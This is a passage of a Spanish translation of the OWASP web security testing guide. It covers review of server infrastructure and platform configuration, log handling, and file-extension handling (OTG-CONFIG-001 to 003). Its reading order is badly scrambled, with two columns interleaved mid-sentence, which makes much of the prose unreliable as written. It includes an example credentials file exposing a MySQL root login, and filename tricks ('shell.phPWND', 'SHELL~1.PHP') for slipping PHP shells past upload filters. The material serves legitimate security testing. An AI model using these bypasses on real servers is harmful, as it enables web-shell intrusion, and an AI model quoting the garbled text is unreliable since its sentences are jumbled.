JSESSIONID proporcionado por algunos servidores J2EE), o para reescribir URL
infraestructura y problemas e incluso problemas pequeños y aparentemente sin
automáticamente para hacer seguimiento de sesiones.
importancia pueden convertirse en serios riesgos para otra aplicación en el mismo
servidor. Para abordar estos problemas, es de suma importancia llevar a cabo una
profunda revisión de la configuración y problemas de seguridad conocidos, después
de haber creado un mapa de toda la arquitectura.
La autenticación de acceso restringido (como los directorios LDAP, bases de datos
relacionales o servidores RADIUS), sin embargo, no es tan fácil detectarlos de
Una gestión apropiada de la configuración la infraestructura del servidor de web
manera inmediata desde un punto de vista externo, ya que estarán ocultos por la
es muy importante para preservar la seguridad de la propia aplicación. Si elementos
propia aplicación.
como el software del servidor web, los servidores de base de datos de back-end o
los servidores de autenticación no está revisados y asegurados, podrían presentar
riesgos no deseados o introducir nuevas vulnerabilidades que podrían comprometer
El uso de una base de datos de acceso restringido puede determinarse simplemente a la propia aplicación.
navegando por una aplicación. Si hay contenido dinámico generado "sobre la
marcha", probablemente es que está siendo extraído desde algún tipo de base de
datos por la propia aplicación. A veces, la manera en que se solicite información
Por ejemplo, una vulnerabilidad del servidor web que permite a un atacante
podría dar conocimientos sobre la existencia de una base de datos de acceso
remoto revelar el código fuente de la aplicación en sí (una vulnerabilidad que ha
restringido. Por ejemplo, una aplicación de compras en línea que utiliza
aparecido varias veces en servidores web o servidores de aplicaciones) podría
identificadores numéricos ('id') al navegar por los distintos artículos de la tienda.
comprometer la aplicación, como los usuarios anónimos pueden utilizar la
Sin embargo, cuando se hace una prueba de aplicación ciega, el conocimiento de la
información divulgada en el código fuente para realizar los ataques contra la
base de datos subyacente generalmente está solamente disponible cuando aparece
aplicación o sus usuarios.
una vulnerabilidad en la aplicación, como un pobre manejo de excepciones o una
susceptibilidad a la inyección de SQL.
Los siguientes pasos deben tomarse para poner a prueba la infraestructura de

gestión de configuración:
Referencias

71
• Los diferentes elementos que conforman la infraestructura deben ser versión del servidor web cuando las vulnerabilidades se arreglan, la herramienta de
determinados con el fin de comprender cómo interactúan con una aplicación web y análisis marcará vulnerabilidades que no existen. Este último caso es realmente
cómo afectan a su seguridad. muy común, ya que algunos proveedores de sistemas operativos instalan parches
para arreglar vulnerabilidades de seguridad a traves de un puerto posterior al
• Todos los elementos de la infraestructura deben revisarse para asegurarse de que software que proporcionan en el sistema operativo, pero no hacen una carga
no contienen vulnerabilidades conocidas. completa de la última versión de software. Esto sucede en la mayoría de las
distribuciones de GNU/Linux como Debian, Red Hat o SuSE. En la mayoría de los
• Debe hacerse una revisión de las herramientas administrativas usadas para dar casos, el análisis de vulnerabilidad de una arquitectura de aplicación sólo
mantenimiento a los diferentes elementos. encontrará vulnerabilidades asociadas a los elementos "expuestos" de la
arquitectura (como el servidor web) y suelen ser incapaces de encontrar
• Los sistemas de autenticación necesitan ser revisados para asegurarse que sirven a vulnerabilidades asociadas a elementos que no están directamente expuestos, tales
las necesidades de la aplicación y que no pueden ser manipulados por los usuarios como la autenticación en segundo plano (back end), o la base de datos acceso
externos para obtener el acceso. restringido, o el proxy inverso que se encuentra en uso.
• Una lista de puertos definidos que se requieren para la aplicación debe recibir
mantenimiento y debe guardarse con un control de cambios.
Por último, no todos los proveedores de software revelan vulnerabilidades de
manera pública y, por lo tanto, estas debilidades no son registradas dentro de bases
de datos de vulnerabilidades conocidas públicamente[1]. Esta información sólo es
Después de haber elaborado un mapa de los diferentes elementos que conforman revelada a los clientes o publicada a través de soluciones que no van acompañadas
la infraestructura (vea mapa de red y arquitectura de la aplicación), es posible de advertencias. Esto reduce la utilidad de las herramientas de análisis de
revisar la configuración de cada elemento encontrado y probarlos en busca de vulnerabilidad. Por lo general, la cobertura de vulnerabilidades de estas
cualquier vulnerabilidad conocida. herramientas será muy buena para los productos comunes (como el servidor web
Apache, Microsoft Internet Information Server o IBM Lotus Domino), pero no
cumplirán con productos menos conocidos.
Cómo probar
Vulnerabilidades conocidas de los servidores Por esta razón, la revisión de vulnerabilidades se realiza mejor cuando al evaluador
se le proporciona información interna del software utilizado, incluyendo versiones
Las vulnerabilidades encontradas en las diferentes áreas de la arquitectura de la y actualizaciones usadas y parches aplicados al software. Con esta información, el
aplicación, ya sea en el servidor web o en la base de datos de acceso restringido, evaluador puede recuperar la información del mismo proveedor y analizar qué
pueden comprometer seriamente a la propia aplicación. Por ejemplo, considere vulnerabilidades pueden estar presentes en la arquitectura y cómo pueden afectar a
una vulnerabilidad del servidor que permite a un usuario remoto no autenticado la aplicación en sí. Cuando sea posible, estas vulnerabilidades pueden analizarse
subir archivos al servidor web o incluso reemplazar los archivos. Esta para determinar sus efectos reales y detectar si pueden haber elementos
vulnerabilidad podría comprometer la aplicación, ya que un usuario granuja
puede ser capaz de reemplazar la aplicación o introducir un código que puede
afectar a los servidores de acceso restringido, ya que el código de la aplicación
del atacante funcionaría como cualquier otra aplicación. externos (tales como sistemas de detección o prevención de intrusiones) que
podrían reducir o negar la posibilidad de explotación exitosa. Los evaluadores
podrían determinar incluso, a través de una revisión de la configuración, que la
vulnerabilidad no está presente, puesto que afecta a un componente de software que
La revisión de vulnerabilidades del servidor puede ser difícil de efectuar si la no está en uso.
prueba debe hacerse a través de una prueba de penetración ciega. En estos casos,
las vulnerabilidades deben probarse desde un sitio remoto, generalmente usando
una herramienta automatizada. Sin embargo, las pruebas de algunas
vulnerabilidades pueden tener resultados impredecibles en el servidor web, y no También vale la pena señalar que los vendedores a veces solucionan las
sería posible probar para otros, (como aquellos directamente involucrados en la vulnerabilidades silenciosamente y hacen las correcciones disponibles con nuevas
negación de ataques al servicio), debido a la reducción de la calidad de tiempo versiones de software. Los diferentes proveedores tendrán diversos ciclos de
de servicio involucrado si la prueba fuera exitosa. lanzamiento que determinan el apoyo que pueden proporcionar para versiones más
antiguas. Un evaluador con información detallada de las versiones del software
utilizado por la arquitectura puede analizar el riesgo asociado al uso de versiones
viejas de software que podrían no tener soporte en el corto plazo o que ya no
Algunas herramientas automatizadas marcan las vulnerabilidades basadas en la tienen soporte. Esto es fundamental, ya que si una vulnerabilidad aparece en una
versión obtenida del servidor web. Esto lleva a falsos positivos y falsos negativos. versión antigua de software, que ya no tiene soporte, el personal de sistemas podría
Por un lado, si la versión del servidor web ha sido eliminada u oscurecida por el no estar directamente consciente de ello. No habrán parches disponibles para él y
administrador del sitio local, la herramienta de análisis no marcará al servidor como las advertencias no pondrán en la lista a esa versión como vulnerable ya que no
vulnerable, aunque lo sea. Por otro lado, si el proveedor del software no actualiza la tiene soporte. Incluso, en el caso de que estén conscientes de que existe la
72
vulnerabilidad y el sistema es vulnerable, tendrían que hacer una actualización

completa a una nueva versión de software, que podría aumentar significativamente
el tiempo de inactividad en la arquitectura de la aplicación o puede forzar a la Referencias
aplicación a ser recodificada, debido a incompatibilidades con la versión más
reciente del software. [1] WebSEAL, también conocida como Tivoli Authentication Manager, es un
proxy inverso de IBM que es parte del framework Tivoli framework.
[2] Tal como Symantec’s Bugtraq, ISS’ X-Force, o NIST’s National Vulnerability
Herramientas administrativas Database (NVD).
Cualquier infraestructura de servidor web requiere la existencia de herramientas [3] Hay algunas herramientas basadas en GUI para Apache (como NetLoony), pero
administrativas para dar mantenimiento y actualizar la información utilizada por la no se usan masivamente todavía.
aplicación. Esta información incluye contenido estático (páginas web, archivos
gráficos), código fuente de la aplicación, bases de datos de autenticación de
usuario, etc. Las herramientas administrativas serán diferentes según el sitio, la
tecnología o el software utilizado. Por ejemplo, algunos servidores se gestionan Pruebe la Configuración de la Plataforma de
mediante interfaces administrativas, que son estos mismos servidores web (como el
servidor web iPlanet) o serán administradas por archivos de texto con la Aplicaciones (OTG-CONFIG-002)
configuración (en caso del Apache[2]) que usen un sistema operativo GUI tools (al
usar el servidor IIS o ASP.Net de Microsoft). Resumen
Es imporante una adecuada configuración de los elementos individuales que

conforman la arquitectura de una aplicación, para prevenir errores que podrían
En la mayoría de los casos se controlará la configuración del servidor con comprometer la seguridad de la arquitectura entera.
diferentes herramientas de mantenimiento de archivos utilizados por el servidor
web, los cuales son administrados a través de servidores FTP, WebDAV, sistemas
de archivos de red (NFS, CIFS) u otros mecanismos. Obviamente, el sistema
operativo de los elementos que componen la arquitectura de la aplicación también Revisar y probar la configuración es una tarea fundamental en la creación y
se gestionará utilizando otras herramientas. Las aplicaciones también pueden tener mantenimiento de una arquitectura. Esto es porque muchos sistemas diferentes
interfaces administrativas incrustadas en ellas, que se utilizan para gestionar los generalmente cuentan con configuraciones genéricas que podrían no ser adecuadas
datos mismos de la aplicación (usuarios, contenido, etc.). para la tarea que se llevará a cabo en el sitio específico donde están instaladas.
Después de haber elaborado mapas de las interfaces administrativas utilizadas para Mientras que la instalación tipica del servidor de la web y de la aplicación
administrar las diferentes partes de la arquitectura, es importante revisarla, ya que si contendrá mucha funcionalidad (como ejemplos de aplicación, documentación,
un atacante obtiene acceso a cualquiera de ellas, entonces puede comprometer o páginas de prueba) lo que no es esencial debe retirarse antes de la implementación
dañar la arquitectura de la aplicación. Para ello es importante: para evitar la explotación de estos después de la instalación.
• Determinar los mecanismos que controlan el acceso a estas interfaces y sus

vulnerabilidades asociadas. Esta información puede estar disponible en línea.
• Cambiar el usuario y contraseña generados automáticamente.

Cómo probar

Algunas empresas optan por no gestionar todos los aspectos de sus aplicaciones de
servidor web, pero pueden tener otros equipos gestionando el contenido entregado Archivos y directorios de muestra y conocidos
por la aplicación web. Esta empresa externa puede solamente proporcionar partes
de los contenidos (actualizaciones de noticias o promociones) o puede administrar Muchos servidores web y servidores de aplicaciones proporcionan, en una
el servidor de web totalmente instalación por defecto, aplicaciones y archivos de muestra que se entregan para
beneficio del desarrollador y para probar que el servidor está funcionando
(incluyendo contenido y código). Es común encontrar interfaces administrativas correctamente justo después de la instalación. Sin embargo, muchas aplicaciones de
disponibles desde Internet en estas situaciones, ya que usar el Internet es más barato servidor web por defecto han sido determinadas como vulnerables. Este fue el caso,
que tener una línea dedicada que conecte a la empresa externa únicamente con la por ejemplo, de CVE-1999-0449 (denegación de servicio en IIS cuando se instaló
infraestructura de la aplicación a través de una interfaz de gestión. En esta el sitio de muestra de Exair), CAN-2002-1744 (vulnerabilidad de salto de directorio
situación, es muy importante comprobar si las interfaces administrativas son en CodeBrws.asp en Microsoft IIS 5.0), CAN-2002-1630 (uso de sendmail.jsp en
vulnerables a ataques.

73
Oracle 9iAS) o CAN-2003-1172 (salto de directorio al ver la muestra de código Es imposible decir genéricamente cómo debe configurarse un servidor, sin
fuente en Cocoon de Apache). embargo, algunas pautas comunes deben tomarse en cuenta:
Los escáneres CGI incluyen una lista detallada de archivos conocidos y las • Sólo habilite módulos de servidor (extensiones ISAPI en IIS) que son necesarios
muestras de directorio que son entregadas por diferentes servidores web o de para la aplicación. Esto reduce la superficie de ataque puesto que el servidor se
aplicaciones, y pueden ser una forma rápida de determinar si estos archivos están reduce en tamaño y complejidad al desactivar módulos del software. También evita
presentes. Sin embargo, la única manera para estar totalmente seguro es hacer una que las vulnerabilidades que podrían aparecer en el software del proveedor afecten
revisión completa de los contenidos del servidor web o servidor de aplicaciones y al sitio si sólo están presentes en los módulos que han sido ya desactivados.
determinar si están relacionados con la aplicación propiamente dicha o no.
• Maneje los errores del servidor (40x o 50x) con páginas personalizadas en vez de
usar las páginas genéricas del servidor web. Específicamente asegúrese de que los
errores de aplicación no serán devueltos al usuario final y que ningún código se
Revisión de comentarios filtre a través de estos errores, ya que esto ayudaría al atacante. Es realmente muy
común olvidar este punto ya que los desarrolladores necesitan esta información en
Es muy común, e incluso se recomienda a los programadores, que incluyan entornos de preproducción.
comentarios detallados en su código fuente para permitir a otros
• Asegúrese de que el software del servidor se ejecuta con privilegios mínimos del
sistema operativo. Esto evita que un error en el software del servidor comprometa
directamente todo el sistema, aunque un atacante podría elevar los privilegios una
programadores entender por qué se tomó una determinada decisión en la vez que ejecute códigos como servidor web.
codificación de una función dada. Los programadores suelen añadir comentarios al
desarrollar aplicaciones grandes basadas en la web. Sin embargo, los comentarios • Asegúrese de que el software de servidor registra correctamente accesos legítimos
incluidos en líneas de código HTML podrían revelar información interna que no y errores.
debería estar disponible para un atacante. A veces, incluso existe el comentario de
haber retirado el código fuente ya que una funcionalidad ya no es necesaria, pero • Asegúrese de que el servidor está configurado para manejar las sobrecargas
este comentario se fuga hacia afuera, a las páginas HTML que se devuelven a los adecuadamente y evitar ataques de denegación de servicio. Asegúrese de que el
usuarios accidentalmente. servidor ha sido calibrado correctamente en su rendimiento.
• Nunca conceda acceso con identidades no administrativas (con la excepción de

NTSERVICE\WMSvc) acceso a applicationHost.config, redirection.config y
La revisión de comentarios debe realizarse con el fin de determinar si cualquier administration.config (lectura o escritura). Esto incluye el servicio de red,
información puede fugarse a través de comentarios. Esta revisión es completamente IIS_IUSRS, IUSR o cualquier identidad personalizada utilizada por grupos de
posible solamente a través de un análisis de los contenidos de los servidores web aplicaciones IIS. Los procesos de trabajo IIS no necesitan tener acceso a estos
estáticos y dinámicos y búsquedas de archivo. Puede ser útil navegar por el sitio de archivos directamente.
una manera automática o guiada y almacenar todo el contenido obtenido. El
contenido obtenido puede ser buscado posteriormente con el fin de analizar los
comentarios HTML en el código.
• Nunca comparta applicationHost.config, redirection.config y
administration.config en la red. Cuando use configuraciones de exportación
compartidas, prefiera exportar applicationHost.config a otro lugar (véase la sección
Pruebas de Caja Gris titulada "configuración de permisos de configuración compartida").
Revisión de la configuración
La configuración del servidor web o del servidor de aplicaciones toma un papel

importante en la protección de los contenidos del sitio y debe ser revisada
cuidadosamente para detectar errores de configuración comunes. Obviamente, la • Tenga en cuenta que todos los usuarios pueden leer el framework de
configuración recomendada varía en función de la política del sitio y la configuración .NET machine.config y archivos base web.config por defecto. No
funcionalidad que debe ser proporcionada por el software del servidor. En la almacene información confidencial en estos archivos si fuese solo para
mayoría de los casos, sin embargo, deben revisarse las pautas de la configuración administradores.
(ya sean proporcionadas por el proveedor de software o por personas externas) para
determinar si el servidor ha sido correctamente asegurado. • Encripte la información sensible que debe ser leída únicamente por los procesos
de trabajo de IIS y no por otros usuarios de la máquina.

74
• No conceda permisos de escritura a la identidad que el servidor Web utiliza para Registros de Información sensible
tener acceso a applicationHost.config compartida. Esta identidad debe tener
permisos de sólo lectura. Algunas aplicaciones, por ejemplo, podrían utilizar peticiones GET para
enviar datos de formularios que serán vistas en los registros del servidor.
• Utilice una identidad separada para publicar applicationHost.config al recurso Esto significa que los registros de servidor pueden contener información
compartido. No use esta identidad para configurar el acceso a la configuración sensible (como nombres de usuario, como contraseñas o datos
compartida en los servidores Web. bancarios). Esta información sensible puede ser mal utilizada por un
atacante si obtuvo los registros, por ejemplo, a través de interfaces
• Utilice una contraseña de alta seguridad cuando exporte las claves de encriptación administrativas o vulnerabilidades o malas configuraciones conocidas del
para su uso con configuraciones compartidas. servidor web (como la configuración conocida del estado del servidor en
servidores basados en
• Mantenga el acceso restringido a la partición que contiene la configuración
compartida y las claves de encriptado. Si esta partición está comprometida, un Apache HTTP).
atacante podrá leer y escribir cualquier configuración de IIS para los servidores
Web, redirigir el tráfico de su sitio web hacia fuentes maliciosas y, en algunos
casos, obtener el control de todos los servidores web mediante la carga de códigos
arbitrarios en los procesos de trabajo IIS. A menudo, los registros de sucesos contienen datos que son útiles para un
atacante (fuga de información), o pueden ser utilizados directamente en
• Considere proteger esta parte con las reglas del firewall y las directivas de IPsec explotar:
para permitir que únicamente los servidores web miembros se conecten.
• Depuración de la información
Registro
• Rastros de apilamiento
El registro es un aspecto importante de la seguridad de la arquitectura de
una aplicación, ya que puede ser utilizada para detectar fallos en las • Nombres de usuario
aplicaciones (usuarios que intentan constantemente recuperar un archivo
que no existe realmente), así como de ataques sostenidos de los usuarios • Nombres de componentes del sistema
granujas. Los registros no se generan correcta y típicamente por la web y
otro servidor de software. No es común encontrar aplicaciones que • Direcciones IP internas
registran correctamente sus acciones en un registro y, cuando lo hacen, la
intención principal de los registros de aplicación es producir resultados • Datos personales menos sensibles (por ejemplo direcciones de correo electrónico,
de depuración que podría utilizar el programador para analizar un error direcciones postales y números de teléfono asociados con individuos nombrados)
determinado.
• Datos del negocio
En ambos casos (registros de servidor y aplicación) varios temas deben

ser probados y analizados basándose en el contenido del registro: En algunas jurisdicciones, almacenar alguna información sensible en
archivos de registro, tales como datos personales, también podría obligar
• ¿Los registros contienen información sensible? a la empresa a aplicar las leyes de protección de datos que aplicarían a
sus bases de datos de acceso restringido para archivos de registros. No
• ¿Están los registros almacenados en un servidor dedicado? hacerlo, incluso sin saberlo, puede llevar a sanciones bajo las leyes de
protección de datos vigentes.
• ¿Puede el uso de registros generar una condición de negación de servicio?
• ¿Cómo se giran? ¿Se mantienen los registros durante el tiempo suficiente?

Una lista más amplia de información sensible es:
• ¿Cómo se revisan los registros? ¿Pueden utilizar los administradores estas
revisiones para detectar ataques dirigidos? • Aplicaciones de código fuente
• ¿Cómo se conservan las copias de seguridad de registro? • Valores de identificación de sesión
• ¿Los datos están siendo validados (min/max longitud, caracteres etc.) antes de ser • Fichas de acceso
registrados?
• Datos personales sensibles y algunas formas de información personal identificable
(PII)

75
• Contraseñas de autenticación en la misma partición de disco como el que se usa para el software de
sistema operativo o la aplicación en sí. Esto significa que si el disco fuera
• Líneas de conexión de bases de datos llenado, el sistema operativo o la aplicación pueden fallar porque serían
incapaces de escribir en el disco.
• Claves de encriptación
• Cuenta bancaria o datos del titular de tarjeta de pago

Normalmente, en sistemas UNIX, los registros se ubicarán en /var
• Datos de una clasificación de seguridad más alta que lo que el sistema de registro (aunque algunas instalaciones de servidores pueden residir en /opt o
tiene permitido almacenar /usr/local) y es importante asegurarse de que los directorios en los que
los registros se almacenan estén en una partición separada. En algunos
• Información comercialmente sensible
casos, y para evitar que los registros del sistema se vean afectados, el
directorio de registro del software de servidor (como /var/log/apache en
• Información que es ilegal recolectar en la jurisdicción correspondiente.
el servidor web Apache) debe almacenarse en una partición dedicada.
• Información que un usuario ha optado por no permitir su recolección, o no ha
aceptado, por ejemplo, que hagan seguimiento o uso, o cuando el consentimiento
para recolectar ha caducado.
Esto no quiere decir que se deba permitir que los registros crezcan hasta
llenar el sistema de archivos donde residen. El crecimiento de registros
del servidor debe ser vigilado para detectar esta condición puesto que
puede ser indicativo de un ataque.
Ubicación de registros
Generalmente, los servidores generan registros locales de sus acciones y

errores, consumiendo el disco del sistema del servidor donde se ejecutan.
Probar esta condición es tan fácil y tan peligroso en entornos de
Sin embargo, si el servidor ha comprometido sus registros, estos pueden
producción, como disparar un número suficiente y sostenido de
ser eliminados por el intruso para limpiar todos los rastros de su ataque y
solicitudes para ver si estas solicitudes se registran y si existe la
sus métodos. Si esto llegara a suceder, el administrador del sistema no
posibilidad de llenar la partición de registro a través de estas solicitudes.
tiene conocimiento de cómo ocurrió el ataque o dónde se encontraba la
En algunos ambientes donde los parámetros QUERY_STRING también se
fuente del ataque. En realidad, la mayoría de kits de herramientas de
registran independientemente de si se producen a través de solicitudes
ataque incluyen un eliminador de registros que es capaz de limpiar
GET o POST, las consultas grandes pueden simular que llenarán los
cualquier registro que contenga información (como la dirección IP del
registros más rápido puesto que, normalmente, una sola solicitud hará
atacante) y se utilizan habitualmente en equipos de ataque a nivel de
que sólo una pequeña cantidad de datos sean registrados, como fecha y
sistema principal.
hora, dirección IP de origen, petición URL y resultado del servidor.
Por lo tanto, es inteligente mantener los registros en un lugar diferente y

Rotación de registros
no en el propio servidor web. Esto también facilita agregar registros
desde diferentes fuentes que se refieren a la misma aplicación (como los
La mayoría de los servidores (pero pocas aplicaciones personalizadas)
de una granja de servidores web) y también es más fácil hacer análisis de
rotarán los registros con el fin de evitar que se llene el sistema de
registros (que puede ser intensivo para el CPU) sin afectar al servidor
archivos donde residen. Al girar los registros se asume que la información
mismo.
en ellos sólo es necesaria durante un tiempo limitado.
Almacenamiento de registros
Esta característica debe ser probada para asegurarse de que:
Los registros pueden presentar una condición de negación de servicio si

no se almacenan correctamente. Cualquier atacante con suficientes
recursos podría ser capaz de producir un número suficiente de • Los registros se mantienen durante el tiempo definido en la política de seguridad,
solicitudes que ni más ni menos.
• Los registros se comprimen una vez rotados (esto es una comodidad, ya que
significará que más registros se almacenarán en el mismo espacio de disco
lenaría el espacio asignado para los archivos de registro si no están disponible).
prevenidos específicamente de hacerlo. Sin embargo, si el servidor no
está configurado correctamente, los archivos de registro se almacenarán
76
• El permiso del sistema de archivos de registros rotados es el mismo (o más Las estadísticas del registro o análisis no deben ser generadas ni
estricto) que los permisos del registro de archivos en sí. Por ejemplo, los servidores almacenadas en el mismo servidor que produce los registros. De lo
web deberán escribir en los registros usados, pero no necesitan realmente escribir contrario, un atacante podría, a través de una vulnerabilidad del servidor
en registros rotados, lo que significa que los permisos de los archivos pueden web o configuración inadecuada, tener acceso a ellos y recuperar la
modificarse según la rotación para evitar que el proceso del servidor web los información similar a la que sería revelada por los archivos de registro.
modifique.
Referencias
Algunos servidores podrían rotar registros cuando alcanzan un tamaño
determinado. Si esto sucede, se debe garantizar que un atacante no puede [1] Apache
obligar a rotar registros para ocultar sus huellas.
• Apache Security, by Ivan Ristic, O’reilly, March 2005.
• Apache Security Secrets: Revealed (Again), Mark Cox, November 2003 -

Control del registro de acceso awe.com
La información del registro de eventos nunca debe ser visible para los • Apache Security Secrets: Revealed, ApacheCon 2002, Las Vegas, Mark J Cox,
usuarios finales. Incluso los administradores web no deberían ver estos October 2002 - awe.com
registros ya que se rompe la separación del servicio de las labores de
control. Asegúrese de que cualquier esquema de control de acceso que se • Performance Tuning - apache.org
utiliza para proteger el acceso a los registros brutos y a cualquier
aplicación que proporciona funcionalidades para ver o buscar los [2] Lotus Domino
registros no estén
• Lotus Security Handbook, William Tworek et al., April 2004, available in
the IBM Redbooks collection - redbooks.ibm.com
conectadas a los esquemas de control de acceso para otros roles de • Lotus Domino Security, an X-force white-paper, Internet Security Systems,
usuario de la aplicación. Asimismo, los datos de registro no deben ser December 2002 - iss.net
visibles por los usuarios no autenticados.
• Hackproofing Lotus Domino Web Server, David Litchfield, October 2001 -
davidlitchfield.com
• NGSSoftware Insight Security Research - nccgroup.com

Revisión de registros
[3] Microsoft IIS

La revisión de registros puede utilizarse no solo para la extracción de
estadísticas de uso de archivos en los servidores web (que suele ser en lo
• IIS 6.0 Security, by Rohyt Belani, Michael Muckin, -
que la mayoría de aplicaciones basadas en registros se centran), sino
también para determinar si los ataques tienen lugar en el servidor web.
symantec.com
• IIS 7.0 Securing Configuration - technet.microsoft.com
Para analizar los ataques desde el servidor web, los archivos de registro
• Securing Your Web Server (Patterns and Practices), Microsoft Corporation,
de error deben ser analizados. La revisión debería centrarse en: January 2004
• IIS Security and Programming Countermeasures, by Jason Coombs
• 40x mensajes de error (not found). Una gran cantidad de ellos de la misma fuente • From Blueprint to Fortress: A Guide to Securing IIS 5.0, by John Davis,
podría ser un indicativo de una herramienta de scanner CGI utilizada contra el Microsoft Corporation, June 2001 -
servidor web
uat.technet.microsoft.com
• 50 x mensajes (server error). Estos pueden ser una indicación de que un atacante
abusa de partes de la aplicación que fallan inesperadamente. Por ejemplo, las • Secure Internet Information Services 5 Checklist, by Michael Howard,
primeras fases de un ataque de inyección SQL producirá estos mensaje de error Microsoft Corporation, June 2000
cuando la consulta SQL no está construida correctamente y su ejecución falla en la
base de datos de acceso restringido. • “INFO: Using URLScan on IIS” - support.microsoft.com

77
[4] Red Hat’s (formerly Netscape’s) iPlanet debido a que el contenido no es el esperado, o por manejo de nombres de
archivo inesperado del OS.
• Guide to the Secure Configuration and Administration of iPlanet Web
Server, Enterprise Edition 4.1, by James M Hayes - nsa.gov
[5] WebSphere Determinar cómo los servidores web manejan las peticiones
correspondientes a archivos con diferentes extensiones puede ayudar a
• IBM WebSphere V5.0 Security, WebSphere Handbook Series, by Peter comprender el comportamiento del servidor web según el tipo de
Kovari et al., IBM, December 2002 - redbooks.ibm.com archivos a los que se accede. Por ejemplo, puede ayudar a entender cuáles
extensiones de archivo se devuelven como texto simple frente a aquellos
• IBM WebSphere V4.0 Advanced Edition Security, by Peter Kovari et al., que causan alguna ejecución en el lado del servidor. Estos últimos son
IBM, March 2002 - redbooks.ibm.com indicativos de las tecnologías, idiomas o plugins que son utilizados por los
servidores web o servidores de aplicaciones y pueden proporcionar
[6] General
informacion adicional de cómo está diseñada la aplicación web. Por
ejemplo, una extensión de ".pl" es generalmente asociada con un soporte
• Logging Cheat Sheet, OWASP
Perl del lado del servidor. Sin embargo, la extensión de archivo sola
puede ser engañosa y no completamente concluyente. Por ejemplo, Los
• SP 800-92 Guide to Computer Security Log Management, NIST
recursos de servidor Perl pueden cambiarse de nombre para ocultar el
csrc.nist.gov
hecho de que están relacionados con Perl. Vea la siguiente sección sobre
• PCI DSS v2.0 Requirement 10 and PA-DSS v2.0 Requirement 4, PCI "componentes de servidor de web" para más información sobre
Security Standards Council identificación de componentes y tecnologías del lado del servidor.
[7] Generic:
• CERT Security Improvement Modules: Securing Public Web Servers Cómo probar
• Apache Security Configuration Document, InterSect Alliance Navegación forzada
• “How To: Use IISLockdown.exe” - Envíe solicitudes http[s] que incluyan diferentes extensiones y verifique
cómo se manejan. La verificación debe estar en una base de directorio
http://msdn.microsoft.com/library/en-us/secmod/html/secmod113.asp web
por búsqueda. Verificar directorios que permiten la ejecución del script.

Pruebe el manejo de archivos de extensiones en Los directorios del servidor Web pueden identificarse por escáneres de
vulnerabilidad, que buscan la presencia de directorios conocidos.
busca de información sensible (OTG-CONFIG- Además, el reflejo de la estructura del sitio web permite al evaluador
003) reconstruir el árbol de directorios de la web servidos por la aplicación.
Resumen
Los archivos de extensiones se utilizan en los servidores web para Si la arquitectura de aplicaciones web tiene balanceo de cargas, es
determinar fácilmente qué tecnologías, idiomas y accesorios (plugins) importante evaluar a todos los servidores web. Esto puede o no ser fácil,
deben utilizarse para cumplir con la solicitud web. Si bien este dependiendo de la configuración de la infraestructura de equilibrio. En
comportamiento es compatible con los RFC y estándares Web, utilizar las una infraestructura con componentes redundantes pueden existir ligeras
extensiones de archivo estándar proporciona al evaluador de penetración variaciones en la configuración de los servidores web o de aplicaciones
la información útil sobre las tecnologías subyacentes que se utilizan en individuales . Esto puede suceder si la arquitectura web emplea
una aplicación web y simplifica enormemente la tarea de determinar el tecnologías heterogéneas (piense en un conjunto de servidores web IIS y
escenario de ataque a usar para estas tecnologías en particular. Además, Apache en una configuración de balanceo de carga, que puede presentar
un error de configuración de los servidores web fácilmente podría revelar leves comportamientos asimétricos entre ellos y posiblemente diferentes
información confidencial sobre las credenciales de acceso. vulnerabilidades).
El control de extensiones a menudo se utiliza para validar los archivos Ejemplo:

que serán cargados, que pueden conducir a resultados inesperados

78
El evaluador ha identificado la existencia de un archivo llamado algunos ejemplos, ya que las extensiones de archivo son demasiadas para
connection.inc. Tratar de acceder a él directamente le devuelve su tratarlas exhaustivamente aquí. Refiérase a http://filext.com/ para ver
contenido: una base de datos más completa de las extensiones.
<?
Para identificar los archivos con una extensión en particular, puede
mysql_connect(“127.0.0.1”, “root”, “”)
emplearse una mezcla de técnicas. Estas técnicas pueden incluir
escáneres de vulnerabilidad, herramientas de robots araña (spidering) y
or die(“Could not connect”);
de reflejo,
?>
inspección manual de la aplicación (esto supera las limitaciones del uso
de robots araña automáticos), consultar motores de búsqueda (ver
El evaluador determina la existencia de un MySQL DBMS de acceso
pruebas: spidering y googling). Vea también pruebas de archivos viejos,
restringido y las credenciales (débiles) que utiliza la aplicación web para
de copia de seguridad y archivos no referenciados que abordan los
acceder a ella.
problemas de seguridad relacionados con los archivos "olvidados".
Las siguientes extensiones de archivo nunca deben ser devueltas por un

archivos que pueden
servidor web, ya que están relacionadas a
contener información sensible o archivos que no deben Carga de archivos
ser entregados.
El manejo de archivos de legado de Windows 8.3 puede, a veces, ser usado
para derrotar los filtros de carga de archivos.
• .asa
• .inc Ejemplos de uso:
file.phtml gets processed as PHP code

Las siguentes extensiones de archivos se relacionan con archivos que,
cuando se acceden, pueden ser visualizados o descargados por el
navegador. Por lo tanto, los archivos con estas extensiones deben
comprobarse para verificar que, de hecho, estas deben ser entregadas (y FILE~1.PHT is served, but not processed by the PHP ISAPI handler
no son residuos), y que no contienen información sensible.
shell.phPWND can be uploaded

• .zip, .tar, .gz, .tgz, .rar, ...: archivos de almacenaje (Comprimidos)
• .java: No hay razón para permitir el accceso a archivos de fuentes Java

SHELL~1.PHP will be expanded and returned by the OS shell, then
• .txt: archivos de texto processed by the PHP ISAPI handler
• .pdf: documentos PDF
• .doc, .rtf, .xls, .ppt, ...: documentos de Office

• .bak, .extensiones viejas u otras extensiones de iniciativa de archivos de
respaldo (por ejemplo: ~ archivos de respaldo para Emacs) Realizar pruebas de Caja Gris contra el manejo de los archivos de extensiones
para revisar las configuraciones de servidores web o servidores de
aplicaciones que participan en la arquitectura de aplicaciones web, y
comprobar cómo son instruidos para entregar diferentes extensiones de
La lista de detalles mencionados anteriormente son sólo archivo.

79
Si la aplicación web se basa en una infraestructura heterogénea con equilibrio credenciales para conectarse a la interfaz administrativa o al servidor de
de carga, la misma determina si esta puede presentar un comportamiento base de datos.
diferente.
Una fuente importante de vulnerabilidades se encuentra en los archivos

Herramientas que no tienen nada que ver con la aplicación, pero se crean como
consecuencia de la edición de archivos de la aplicación, o después de
Los escáneres de vulnerabilidad, tales como Nessus y Nikto, comprueban la crear copias de seguridad "al vuelo" o dejando en el árbol de la red viejos
existencia de directorios web conocidos. Pueden permitir que el evaluador archivos del árbol o archivos no referenciados. Realizar ediciones ¨"en el
descargue la estructura del sitio web, lo cual es útil cuando se intenta sitio" u otras acciones administrativas en servidores web en producción
determinar la configuración de los directorios web y cómo son atendidas las sin darse cuenta puede dejar copias de seguridad, ya sean generadas
